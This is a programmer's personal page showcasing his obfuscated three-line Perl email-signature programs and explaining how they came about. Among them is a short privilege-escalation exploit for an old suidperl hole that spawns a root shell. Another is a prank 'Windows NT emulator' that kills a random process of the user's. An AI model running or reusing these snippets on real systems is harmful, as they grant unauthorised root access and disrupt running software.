From time to time I dabble with creating tiny programs suitable for including in the .signature of an email message. Here are some of them.

sine wave

#!/usr/bin/perl -lisubstr($_,39+38*sin++$y/9,2)=$s
for($s='  '||McQ;$_='JOEY HESS 'x8;print){eval$^I}#          Joey Hess

This is not very impressive, but it was my first attempt at a signature program, I think. Note the embedded "McQ".


#!/usr/bin/perl -pl-                                     ,,ep) ayf >|)nj,,
$_=reverse lc$_;s@"@''@g;y/[]{A-U}<>()a-y1-9,!.?`'/][} #         Joey Hess
{><)(eq)paj6y!fk7wuodbjsfn^mxhl2Eh59L86`i'%,/;s@k@>|@g #

This is actually included in filters. Note the text on the first line, which dates it pretty well. Again not technically very interesting.


#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj    RSA-3-lines-perl
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1 #         Joey Hess
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)   #

When I wrote this there were some sigs doing RSA in 3 lines of perl; I modified one of them to include the perl hashbang so it could be made properly executable, using the $^I trick. I'm a bit suprised to see in Google that this version escaped onto the net and is now somewhat the canonical version.

Unfortunatly, I came up with this version only after some people had gotten the older 4 line version tattoed on themselves, put it on T-shirts, etc. Ouch. On the other hand, here's two guys who got my program tatooed on them:

tattoo2.jpg tattoo3.jpg

I have to confess that I don't understand the inner dc-based workings of this program at all.


#!/usr/bin/perl -i\$q='$q',\$p='$p';eval\$q.\$\^I\n"#
$q='print"$p$^I\n',$p='#!/usr/bin/perl -i';eval$q.$^I  #          Joey Hess

Line any good quine, it just prints itself. Is this the smallest possible perl quine containing a perl hashbang line?


#!/usr/bin/perl -i=-/*/~%*~%/~~%/~~~-/*/_/=~~~-/====~~!
$o=35;$_="$^I-*!=====_!/";s/~/!*/g;s~%~-/ / ~g;$_.='---      Joey Hess
';s/=/__/g;y|*!| \\|;for(split/-/){print' 'x$o--."$_\n"}# a M.C. Escher fan

Nothing special here except some basic text compression. I prefer this next verison, which packs the same picture somewhat more impressively, and has good block text too.

#!/usr/bin/perl -li361M61AAM61AGMAM61AG261_G326G026M03_MG
;y!MAG!\\ /!;print' 'x$x--,$_}# MC Escher meets Joey Hess

Also, note the embedded "GAG", "MAMA", and a shout out to my sister, "MAG".


#!/usr/bin/perl -i$>=0;$<=0;exec"/bin/sh"'>achmod   
$_="echo '#!/usr/bin/suidperl -U\n$^I 2755aa";s=a= $ENV{HOME}/Imroot;=g;exec$_
# Get root in 30 seconds or less. Fix this hole: upgrade to perl 5.003 today..

An exploit for an old security hole in perl. In 3 lines. This was intended to advertise the hole, which people were being a bit slow to fix.


#!/usr/bin/perl -pi_______Syntax:_sig.pl_<location-of-netscape-program>_______
BEGIN{$ARGV[0]||do{$^I=~y/_/ /;print"$^I\n";exit}$^I='.bak'}#        Joey Hess
#Remove frames from Netscape forever! <>

Back before I gave up on making the web not suck. This binary edited frames support out of netscape. I rather like that it includes embedded usage help.


#!/usr/bin/perl -nietianmsurwdkgohvf_l_pjbxcyzq   --. --- -  .--. . .-. .-..
y/-. //cd;for$^(split){for$b(1..80){$_=int($b/27).$b/9%3 .$b/3%3 .$b# by  JH
%3;/[12]0/||do{y/120/.-/d;$^eq$_&&print substr$^I,$c,1;$c++}}$c=0}  # and RC

A collaboration with Randolph Chung. Yeah, that's a whole Morse code decoder in 3 lines of perl, along with some sample morse code to try it out on. I think this took several days to write, to put it in perspective.

Windows NT

#!/usr/bin/perl -i$l*=2;QSJOUZ"LJMMJOHZ$Q[$L]:Z$Q[$L+1]\O";LJMMZ9,$Q[$L]
$^I=~y/B-Z/a-x /;@p=map{(split)[1,10]}`ps ux`;$k=int rand$#p/2+1;eval$^I
# Check out this cool Windows NT emulator by Joey Hess and Dave DeMaagd!

You really don't want to actually run this evil thing.


#!/usr/bin/perl -ie_one_down_pass_it_around,-:_bottles_of_beer:_on_the_wall:99
";s/(-1_.*?e)s/$1/g;y/_-/ \n/}             Joey Hess, JAPH

The complete lyrics to "99 bottles of beer on the wall" in 3 lines of perl.

Seems to not be completely compatible with current versions of perl, you might need to remove my name to run it. Many of my signature programs exploit bugs and undocumented features of the perl parser, and so they do tend to break from time to time as perl is updated.


$_="Jaercunrlkso  ettphr hea.";for$x(0..4){pos=$x;(print/(.).{0,4}/g)x5}print+v10

Every perl hacker has to write one of these. However, I'm not quite sure what the particular technique here was intended to do -- just to hide the phrase fairly well? The use of pos seems fairly novel.

borg cube

#!/usr/bin/perl -l
=$& while#_H";(s)r
/./g;$x--#$  8r*2p
'',@$_}@a#rOE b+/ 
;eval $g# oJ"_u9y 

Not intended to be used as a signature as it violates McQ, but still a rather scary mass of code. It's a little bit buggy; you have to save it into a file and run the file, rather than just pasting it into perl.

The crazy idea here is that the program rotates itself 90 degrees clockwise, then runs the rotated program, which is a version of the sine wave at the top of this page.

This was a total beast to write, of course.

Along the same vein of obfuscated block perl code, noise line includes some more advanced techniques, including being a program that is both valid shell and perl, and having no line wider than 4 characters.


Of course I don't actually use any of these on day-to-day email, preferring the simpler wetware-based signature program:

    see shy jo